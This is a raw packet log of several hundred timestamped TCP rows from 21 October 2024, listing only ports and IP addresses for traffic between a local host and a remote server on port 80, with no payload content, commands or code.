Oct 21, 2024 08:47:27.225528002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225543022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225558996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225572109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225590944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225601912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225620985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225639105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225652933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225663900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225683928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225697994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225716114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225729942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225745916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225760937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225776911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225788116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225807905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225822926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225840092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225852013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225871086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225877047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225903034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225917101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225934029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225950003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225966930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225986004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225996971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.226011038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.226030111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.226042032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.226062059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.226074934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.226105928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231137991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231149912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231189013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231205940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231220007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231232882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231245995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231246948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231261015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231275082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231281996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231306076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231307030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231319904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231324911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231333971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231352091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231358051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.231372118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231415033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.231415033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.321614981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.321693897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.321799994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.321832895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.321863890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.321890116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343439102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343489885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343509912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343539000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343569994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343602896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343650103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343669891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343669891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343669891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343669891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343682051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343687057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343724012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343748093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343787909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343800068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343852043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343866110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343913078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.343935013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.343962908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344002008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344008923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344054937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344058037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344089031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344111919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344125032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344142914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344180107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344189882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344221115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344233990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344249010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344261885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344289064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344295979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344332933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344343901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344384909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344389915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344423056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344433069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344449997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344464064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344489098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344501972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344543934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344549894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344582081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344594002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344614029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344621897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344644070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344656944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344674110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344685078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344703913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344727993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344736099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344738007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344767094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344774961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344799042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344809055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344830036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344837904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344861984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344871044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344894886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344908953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344924927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344940901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344957113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344964981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.344988108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.344995975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345021009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345029116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345052004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345066071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345083952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345091105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345113993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345124960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345145941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345159054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345175982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345192909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345208883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345221996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345242023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345252991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345274925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345284939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345305920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345318079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345339060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345346928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345374107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.345380068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.345416069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.452250004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.457288980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.704931021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705002069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705132961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705162048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705178976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705193996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705203056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705226898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705230951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705259085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705272913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705332041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705339909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705363035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705374002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705403090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705404997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705441952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705450058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705483913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705490112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705514908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705526114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705548048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705557108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705579996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705590963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705625057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705651999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705683947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705694914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705715895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705725908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705748081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705759048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705790997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705796957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705825090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705838919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705866098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705873966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705916882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705923080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705954075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705964088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.705985069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.705996037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706016064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706027985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706047058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706049919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706078053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706088066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706110001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706120014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706140041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706156015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706172943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706198931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706203938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706222057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706235886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706260920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706269026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706285000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706301928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706309080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706335068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706343889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706367970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706382990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706401110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706410885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706434011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706446886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706465006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706475019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706501961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706506968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706531048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.706547022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.706568956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824599981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824630022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824666977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824683905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824704885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824722052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824742079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824758053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824805975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824831963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824839115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824870110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824873924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824894905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824902058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824912071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824939013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.824954987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824985981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.824999094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825027943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825037003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825082064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825102091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825140953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825148106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825180054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825190067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825212002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825223923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825246096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825253010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825277090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825287104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825319052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825330973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825357914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825373888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825390100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825397968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825422049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825432062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825453997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825465918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825486898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825496912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825519085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825537920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825551033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825556040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825583935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825594902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825615883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825627089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825648069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.825661898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.825694084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832336903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832367897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832402945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832402945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832418919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832448959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832458973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832482100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832513094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832514048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832521915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832545996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832555056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832596064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832601070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832628012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832640886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832659960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832670927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832707882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832709074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832736015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832751036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832778931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832782984 CEST	80	49732	147.45.44.221	192.168.2.4
